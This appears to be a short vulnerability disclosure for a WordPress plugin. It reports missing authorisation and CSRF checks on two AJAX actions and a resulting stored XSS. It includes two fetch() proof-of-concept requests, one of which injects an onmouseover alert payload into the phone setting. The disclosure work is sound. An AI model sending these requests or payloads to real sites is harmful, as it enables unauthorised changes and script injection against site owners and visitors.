The plugin does not have any authorisation and CSRF in its bpfwp_welcome_add_contact_page and bpfwp_welcome_set_contact_information AJAX action, allowing any authenticated users, such as subscribers, to call them. Furthermore, due to the lack of sanitisation, it also lead to Stored Cross-Site Scripting issues
Page creation:
fetch("https://127.0.0.1:8001/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": new URLSearchParams({"action": "bpfwp_welcome_add_contact_page", "contact_page_title": "hey there!"}),
"method": "POST",
"credentials": "include"
});
Settings upgrade:
fetch("https://127.0.0.1:8001/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": new URLSearchParams({"action": "bpfwp_welcome_set_contact_information", "phone": '" style=left:0;top:0;right:0;bottom:0;position:fixed onmouseover=alert(1) x='}),
"method": "POST",
"credentials": "include"
});